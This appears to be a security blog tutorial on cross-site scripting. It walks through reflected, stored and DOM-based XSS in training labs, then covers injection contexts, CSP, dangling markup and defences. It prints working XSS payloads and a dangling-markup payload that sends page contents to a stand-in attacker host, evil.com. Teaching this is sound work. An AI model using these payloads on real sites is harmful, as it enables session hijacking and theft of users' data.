Home Cross-Site Scripting (XSS)
Post
Cancel

Cross-Site Scripting (XSS)

Usually, when testing for XSS, people use the alert() function to pop up an alert and prove the execution of code. However, Chrome 92 has disabled this function from cross-domain iframes (also used in XSS attacks). An alternative to the alert function, we will use the print() function.

Cross-Site scripting (XSS)

Cross-site scripting is one of the most famous vulnerabilities and works by manipulating a vulnerable web app and make it execute JavaScript in the victim’s browser, allowing the attacker to steal sensitive information.

When an attacker is able to exploit a XSS vulnerability, he may try to:

  • Steal cookies: If the user has a valid session and the cookies doesn’t have the HttpOnly flag, an attacker could access the cookie and use it to hijack the user session.
  • Capture Passwords: If the user browser has some passwords stored and autofills the value, an attacker could inject a password input and obtain the password.
  • Do a CSRF attack: An attacker can inject code to perform other requests and exploit other CSRF vulnerabilities.

There are different types of XSS. We will dive into each one and use some examples to explain the concepts and how to bypass poor defenses.

Reflected XSS

This type of XSS is the simplest one and occurs when the application receives information in the HTTP request and includes this data within the response in a unsafe way. The attacker can send a URL with the malicious payload to the victim, so when he interacts with the URL, the request is sent to the server and the response containing the script is sent to the victim’s browser.

Untitled

Let’s use an example to better understand the concept.

In this lab, we have a searchbar that we can use to search for posts. The value user for the search is also displayed in the web:

Untitled

If we are able to inject the <script> tag inside the html, we can execute code.

Untitled

If we try this payload and it gets injected in the HTML response, we should see a pop-up in our browser with the “XSS” string:

Untitled

And it worked:

Untitled

Untitled

This is the simplest XSS example that we could use.

The impact of a successful XSS attack is huge, since the script is executed in the context of the victim session, so they could perform any action, view/modify information, steal user session cookies or initiate interactions with other application users.

It is important to mention that to successfully exploit this type of XSS, the attacker needs to deliver the malicious URL to the victim.

Stored XSS

This type of XSS occurs when the application saves somewhere the malicious content that the attacker sent and it is included later in its HTTP responses in an unsafe way. This type of XSS has more impact than the Reflected because there is no interaction between the attacker and the victim.

In this case, the victim just has to visit the web page where the malicious script has been included by a malicious actor.

Untitled

Most of this vulnerabilities can be found in pages where a user can see content that other users control, such as comment sections or posts. Let’s se a practical example.

In this lab, we have a website where there are posts and we can comment them:

Untitled

We can see the comments that other users have posted. If the comments are not sanitized, we may be able to post <script> tags in the comment, so when they are returned when someone wants to watch the post, the <script> gets processed as a tag instead of string, executing whats within it.

Untitled

If we post this comment and go back to this post, the alert pops up, implying that we successfully

Untitled

DOM-based XSS

To explain what is a DOM-based XSS, we first need to explain what is the DOM.

A DOM (Document Object Model) is the web browser’s hierarchical representation of the elements of a webpage.

Untitled

JavaScript is able to make changes in the DOM, so when a JavaScript function that exists within the webpage accepts a user’s input (source) and it displays it to the page (sink) without checking it, the webpage is vulnerable to DOM XSS.

Sources: A source is a JavaScript property that can contain data controlled by an attacker, such as location.search, window.name, location.href, etc. Sinks: A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. The eval() function or the document.body.innerHTML are sinks because they allow to execute code or add malicious HTML.

The main difference between a Reflected XSS and a DOM based XSS is that a reflected XSS involves injecting the payload on the server, which then reflects it back to the client, while DOM-based XSS involves injecting and executing the payload on the client side within the DOM.

Each case may be different because different sources and sinks can be involved, implying different payloads and techniques to trigger an XS, for example, the innerHTML sink doesn’t accept the script tag, so we need to find other ways. We will delve deeper about DOM vulnerabilities in another post.

Nevertheless, we will also use a lab to exemplify this vulnerability.

Here we are facing another webpage that allows us to search within the blog. Our search text is also returned.

Untitled

This looks like the first example we used when explaining the Reflected XSS. However, if we try to add the same payload, it won’t work.

Untitled

If we search again using a string value that we can identify, for example “test”, and we inspect the webpage, we can see that the word “test” appears two times:

  • One in the header that we are able to see
  • Another one inside a img src attribute.

Untitled

How has the “test” string being inserted in that html tag? is the backend of the application responsible of this? The answer is “no”. If we delve deeper into the code, wee can see the script that I tried to remark using the yellow code.

This script defines the function trackSearch(query) . We can see that this function uses the document.write sink, which writes the <img> tag with a specific src , however, this src contains the query variable. This variable is just defined after the function and it gets the value of the source window.location.search and gets the search parameter. Then, it invokes the function using the obtained query value.

Since we can control the search parameter and the source and sink are connected, we can exploit this.

Untitled

We want to inject the <script> tag, however, everything we write will be added inside the <img> tag (precisely, inside the src attribute). So we first need to close this tag and insert the desired one.

By sending this: test"><script> alert(1)</script> , when script inserts this in the DOM, the resultant img tag will look like this:

<img src="/resources/images/tracker.gif?searchTerms=test"><script> alert(1)</script>">

And will successfully execute the script:

Untitled

Untitled

Even tough we could send to a victim this url https://0a5000570397d0ff800e307a00fe00b6.web-security-academy.net/?search=test"><script>+alert(1)<%2Fscript> and it will be executed, this is a DOM XSS because it’s not the server that sends the malformed html document, it is the JS within the webpage that modifies the DOM .

XSS context

An XSS context is the location where the attacker-controllable data is inserted and the input validation (if any) that is being performed. Based on that, one or another payload should be used to perform a successful XSS attack.

Between HTML tags

If it is between HTML tags we want to inject other tags such as: <src>alert(1)</src> or <img src="https://idontexist.com" onerror=alert(1)>

If the server seems to blacklist some tags or attributes, we can use this list along with burp intruder to test all tags and attributes vulnerable to XSS and search for the ones that can bypass the blacklist: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

This list provides complex XSS payloads, for example this one:

1
2
3
4
5
6
7
8
<svg>
	<a>
		<animate attributeName=href values=javascript:alert(1) />
		<a id=xss>
			<text x=20 y=20>XSS</text>
		</a>
	</a>
</svg>
  • The <svg> element is the root of the SVG document.
  • Inside it, there is an <a> element, representing an anchor.
  • Within the anchor, there is an <animate> element that changes the href attribute of <a> to execute the JavaScript code alert(1).
  • The <a> element with the id xss contains text that says “XSS.”

If the user clicks within the <a> the animate will be executed an trigger the XSS

Inside tag attributes

In other situations, the content may be injected into a tag attribute. In these situations you can try to bend the attribute value, close the tag and then injecting your own tag: "><script>alert(document.domain)</script>

Most websites will encode or block the > character, so we won’t be able to terminate the tag. However, if we can terminate the attribute we could introduce other attributes that could trigger a XSS.

" autofocus onfocus=alert(1) x="

The above payload terminates the current attribute, then it adds the autofocus attribute to automatically focus this tag when loaded. With the onfocus attribute, we write the script that we want to execute. This script will be executed once the tag is focused. Finally, it adds the x=” to repair the tag (since there is a " that will be appended at the end) and avoid breaking the html structure.

Inside JavaScript

If your data is injected inside an already existing script, you can try to close the <script> tag and execute your own script. This works because a browser first parses the HTML and then it executes the embedded scripts. If you break the first script, it will be broken and unterminated, but it will also try to execute the other script that you injected.

In this lab I’ve used the search bar to search for the word test, when inspecting the webpage, I see that the word test appears inside a script:

Untitled

With this payload, we can break the script and add another html tag: </script><img src=1 onerror=alert(document.domain)>

Untitled

The script itself fails, but since the HTML can be parsed anyway, the script injected in the onerror attribute gets executed.

Untitled

Untitled

If the website is protected by a WAF the use of ( ) will be probably blocked. There are other techniques to send parameters to a function, such as using the onerror handler with throw. I recommend reading this post https://portswigger.net/research/xss-without-parentheses-and-semi-colons.

Content Security Policy (CSP)

Content Security Policy is a security mechanism that tries to prevent a successful XSS. The CSP doesn’t prevent “injection” parto of the XSS but it restricts the resources (such as scripts and images) that a page can load and whether a page can be framed by other pages.

The server needs to send a response with an HTTP header called Content-Security-Policy with all the directives separated by semicolons.

There are different directives based on the resource, for example the script-src directive defines the origins of the scripts allowed to be executed.

For example: script-src 'self' only allows the execution of scripts loaded from the page itself. However, script-src [https://scripts.normal-website.com](https://scripts.normal-website.com) only allow scripts from this domain.

There are a lot of other directives, such as img-src or frame-ancestors (which defines where the app can be framed, to avoid clickjacking). A full list can be found here: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy

There is also the default-src directive that will be used for all resources that don’t have their specific directive defined. If a default-src or script-src is defined, eval() and inline scripts (scripts that reside in the HTML) are not permitted. However, if necessary, the values ['unsafe-inline'](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) and ['unsafe-eval'](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) can be used to avoid that restriction.

In addition to this, CSP also allows the use of nonces and hashes.

  • The directive can specify a nonce and the tag that loads the script must specify the same nonce. If it does not match, the script doesn’t get executed.
  • The directive can also specify a hash of the contents of the trusted script. If the hash does not match with the script loaded in the webpage, the browser doesn’t execute it.

CSP may be vulnerable to policy injection. If anything that the user can control is injected in the CSP (for example in the obsolete report-uri directive) the attacker could add some new directives, such as script-src-elem (This directive allows you to control just script blocks and was created so that you can allow event handlers but block script elements) and overwrittes an already existing script-src directive.

Dangling markup injection

This is a technique used for capturing data when a full XSS attack is not possible. It consist of injecting a tag and not closing it, breaking the whole DOM.

For example, if we inject: "><img src='http://evil.com/log.cgi?

Note that we didn’t closed the img tag and we added a ?at the end of the URL, implying that we are going to send parameters. Since the tag is not properly closed, all the html data between the injection point and the next ' will be sent as a parameter. This html could contain secrets, csrf tokens and important data from the client.

Untitled

Since the attacker controls the [evil.com](http://evil.com) server, he can log the http requests received and he will be able to see the exfiltrated html chunk.

Note that this example of dangling markup injection would be mitigated by using a CSP with this directive: img-src 'self' since it only allows loading images from the same domain as the website.

Protect against XSS attacks

There are two main ways of protecting against XSS attacks:

  • Validate and sanitize input: Input validation should ideally work by blocking invalid/unwanted input. Its safer to employ whitelists rather than blacklists
  • Encode data on output: The encoding process should happen before the controllable data is written to the page. The context where the data is being written determines what type of encoding you need to apply. In a HTML context, you should convert the values to HTML entities:
    • < converts to: &lt;
    • > converts to: &gt;

    However, if the context is Javascript, you need to apply Unicode escaping:

    • < converts to: \u003c
    • > converts to: \u003e

    There are template engines such as Twig, Jinja, React, have their own escaping functions or they escape the content by default.

    If programming in PHP, you can use the htmlentities function to escape the HTML input.

Having a properly and restrictive CSP policy is also the last line of defense and important when mitigating XXS.

This post is licensed under CC BY 4.0 by the author.